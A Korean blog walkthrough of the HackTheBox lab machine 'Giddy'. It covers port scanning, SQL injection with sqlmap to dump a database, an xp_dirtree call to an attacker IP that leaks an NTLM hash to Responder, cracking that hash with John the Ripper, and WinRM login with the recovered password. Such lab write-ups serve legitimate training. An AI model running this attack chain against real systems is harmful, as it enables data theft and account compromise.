모의 해킹/Windows

[모의 해킹] HackTheBox - Giddy Part 1

solo-infosec 2025. 3. 19. 20:22
반응형

Giddy

OS: Windows

취약점: SQL Injection, LLMNR Poisoning

 
MS SQL Server를 데이터베이스로 사용하는 ASP.NET 기반 웹 어플리케이션이 돌아가는 머신이다. SQL Injection을 통해 MS SQL의 Stored Procedure인 xp_dirtree를 사용할 수 있다. xp_dirtree를 사용해 공격자에게 NTLM Hash를 전송하고 전송된 NTLM Hash를 크랙해 사용자 계정 비밀번호를 획득할 수 있다.
 

포트 스캐닝

nmap -Pn -sS -p- -oN ./SYN_SCAN 10.10.10.104
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
3389/tcp open  ms-wbt-server
5985/tcp open  wsman
nmap -Pn -sC -sV -p $(cat PORTS) -oN SERVICE_SCAN 10.10.10.104
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
| tls-alpn: 
|   h2
|_  http/1.1
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_ssl-date: 2025-03-16T20:32:45+00:00; -9h18m12s from scanner time.
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Not valid before: 2018-06-16T21:28:55
|_Not valid after:  2018-09-14T21:28:55
|_http-server-header: Microsoft-IIS/10.0
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: GIDDY
|   NetBIOS_Domain_Name: GIDDY
|   NetBIOS_Computer_Name: GIDDY
|   DNS_Domain_Name: Giddy
|   DNS_Computer_Name: Giddy
|   Product_Version: 10.0.14393
|_  System_Time: 2025-03-16T20:32:35+00:00
| ssl-cert: Subject: commonName=Giddy
| Not valid before: 2025-03-13T20:32:28
|_Not valid after:  2025-09-12T20:32:28
|_ssl-date: 2025-03-16T20:32:45+00:00; -9h18m12s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -9h18m12s, deviation: 0s, median: -9h18m12s

 

80/tcp HTTP

http://10.10.10.104 

시작하자마자 귀여운 강아지 사진이 반겨준다. 이미지 파일의 메타데이터가 쓸모있는 정보를 가지고 있거나 스테가노그래피를 사용해 이미지 파일에 데이터를 숨겨놨을 가능성도 있다. 하지만 이미지 파일의 데이터를 뒤지는건 우선 순위가 아니기 때문에 잠시 잊고 GoBuster를 사용해 디렉토리와 파일을 탐색하자.
 

┌─[solo@parrot]─[~/Desktop/hack/web]
└──╼ $gobuster dir -u http://10.10.10.104 -w ../../wordlist/raft-large-directories.txt -o 80_dir_scan

디렉토리를 탐색하자마자 눈에 띄는 디렉토리들이 여럿 발견됐다. 우선 해당 웹 어플리케이션이 ASP.NET 기반이라는 것을 확인할 수 있다. 원격 접속과 관련되있는 것 같이 느껴지는 remote 디렉토리를 먼저 확인해 보자.
 
http://10.10.10.104/Remote/en-US/logon.aspx

웹을 통해 PowerShell 콘솔로 접속할 수 있는 페이지인 것 같다. 하지만 당연하게도 인증을 하지 않으면 접근할 수 없도록 막아두었다. 무슨 계정이 존재하는지 알지도 못하는 상황에서 무작정 로그인을 시도해 보는 것은 좋은 접근 방법이 아니기 때문에 다른 디렉토리와 파일을 조사해 보자.
 
http://10.10.10.104/mvc/

mvc 디렉토리에 접근하면 나오는 페이지 모습이다. Register, Login 탭이 눈에 들어온다. About, Contact 같은 페이지를 통해 도메인, 계정, 서버 버전 같은 정보를 얻을 수 있을 것 같다. Login부터 시작해서 차근차근 조사하면서 정보를 수집해 보자.
 
http://10.10.10.104/mvc/Account/Login.aspx

 
http://10.10.10.104/mvc/Account/Register.aspx

 
http://10.10.10.104/mvc/Search.aspx

딱 봐도 Injection 종류에 취약할 것 같은 느낌이 진하게 든다. 너무 흥분된다 조금 더 조사를 진행해 보자.
 
http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=%

/mvc/Product.aspx의 ProductSubCategoryid 파라미터로 일부로 이상한 값을 넘겨줘서 에러 메세지를 발생시키도록 만들어봤다. 에러 메세지를 확인해 보면 SQL 쿼리를 진행하다가 에러가 발생한 것을 확인할 수 있다. SQL Injection이 가능하다는 확신이 더욱 강해졌다. 
 

Search 페이지에서 검색을 하면 /mvc/Search.aspx로 어마어마한 양의 HTTP Post를 전송하는 것을 확인할 수 있다. 이 HTTP Post Request를 가지고 Sqlmap으로 SQL Injection을 시도해 보자
 

SQL Injection

┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $sqlmap -r request.search.file --banner --level 3 --risk 3 --batch

SQL 서버가 MS SQL Server라는 것과 AND Boolean 기반 Blind SQL Injection이 가능하다는 정보를 확인할 수 있다. DBMS의 서버가 무엇인지 확인했으니 이제 해당 서버에 존재하는 DB가 무엇이 있는지 확인해 보자.
 

┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $sqlmap -r request.search.file --dbms=mssql --dbs --level 3 --risk 3 --batch

MS SQL에 기본적으로 존재하는 DB들과 Injection이라는 DB가 보인다. Injection DB가 가지고 있는 테이블을 확인하자
 

┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $sqlmap -r request.search.file --dbms=mssql -D Injection --tables --level 3 --risk 3 --batch

Injection DB에 존재하는 테이블들을 확인했다. 우리의 목표는 계정 정보를 훔치는 것이기 때문에 사용자와 관련된 테이블들을 먼저 조사하자.
 

┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $sqlmap -r request.search.file --dbms=mssql -D Injection -T Users,UsersOpenAuthAccounts,UsersOpenAuthData

Users 테이블에서 사용자의 아이디를 확인할 수 있다. sadmin이라는 아이디를 기록해 두자. 하지만 이 테이블을 제외하고 다른 테이블에선 유의미한 정보를 수집할 수 없었다. Injection DB를 통째로 덤핑해서 뒤져보자.
 

┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $sqlmap -r request.search.file --dbms=mssql -D Injection --dump

신용 카드 정보와 함께 Memberships 테이블에서 암호화 된 비밀번호를 획득할 수 있었다. 하지만 비밀번호와 Salt값이 무슨 종류의 해시인지 확인할 방법이 없었다. DBMS가 MS SQL Server라는 것을 감안해서 이번엔 MS SQL의 Stored Procedure를 사용하는 방법으로 접근하기로 했다. 신용카드 정보를 암호화 하거나 Tokenization을 해놓지도 않았다. 무개념도 이런 무개념이 없다;; 
 

MS SQL Stored Procedure (xp_cmd_shell | xp_dirtree)

┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $sqlmap -r request.file.search --dbms=mssql --sql-shell

성공적으로 SQL Shell을 획득했다. MS SQL의 Stored Procedure인 xp_cmd_shellxp_dirtree를 시도해보자. xp_cmd_shell은 윈도우 명령어를 실행하는 프로시져고 xp_dirtree는 특정 주소의 디렉토리와 파일 목록을 반환하는 프로시져다.
 

xp_cmd_shell을 실행할 수 있는 권한이 없는 것 같다. xp_dirtree도 시도해 보자. 
 
xp_dirtree는 리눅스의 ls처럼 윈도우 호스트의 디렉토리와 파일 목록을 반환하는 프로시져다. 윈도우는 SMB 프로토콜을 사용해 다른 호스트의 공유 풀더에 접근할 수 있다. 문제는 SMB Request를 전송할 때 본인의 비밀번호가 포함된 NTLM Hash, 혹은 Kerberos Ticket를 같이 전송한다는 점이다. 
 

LLMNR Poisoning

┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $sudo responder -I tun0

Responder를 사용해 가짜 SMB 서버를 구동하자. 이제 가짜 SMB 서버에 있는 파일을 요청하도록 만들면 계정 정보가 담긴 NTLM Hash나 Kerberos Ticket을 같이 전송할 것이다.
 

xp_dirtree //<공격자 IP>를 MS SQL 쉘에서 실행하면 이렇게 사용자 계정 이름과 계정 비밀번호로 암호화 한 NTLM Hash를 전송한다. 이제 이 NTLM Hash를 오프라인에서 크래킹 하면 사용자 계정 비밀번호를 획득할 수 있다.
 

Hash Cracking

┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $john --format=netntlmv2 --wordlist=../wordlist/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xNnWo6272k7x     (Stacy)     
1g 0:00:00:00 DONE (2025-03-17 17:38) 2.000g/s 5382Kp/s 5382Kc/s 5382KC/s xavartar..x214951500
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

rockyou.txt wordlist와 John The Ripper 패스워드 크래킹툴을 사용해 NTLM Hash를 크래킹 했다.
 

WinRM

보통 윈도우 호스트는 5985/tcp 포트에서 WinRM (Windows Remote Management) 프로토콜을 사용해 원격 접속을 지원한다. 

┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $evil-winrm -i 10.10.10.104 -u stacy -p xNnWo6272k7x

 

결론

SQL Injection, LLMNR Poisoning을 사용해 공략할 수 있는 머신이다. SQL Injection을 통해 데이터베이스 정보를 훔치는 것뿐만이 아니라 DBMS의 다양한 기능을 사용해 로컬 파일 읽기 + 쓰기, 원격 코드 실행, 그리고 이렇게 LLMNR Poisoning 같은 해킹 공격도 가능하다는 것을 알고 있어야 된다. 이번 기회에 SQL Injection이 오직 데이터베이스 정보를 추출하는 해킹 공격이라는 사고에서 벗어나보도록 하자.

반응형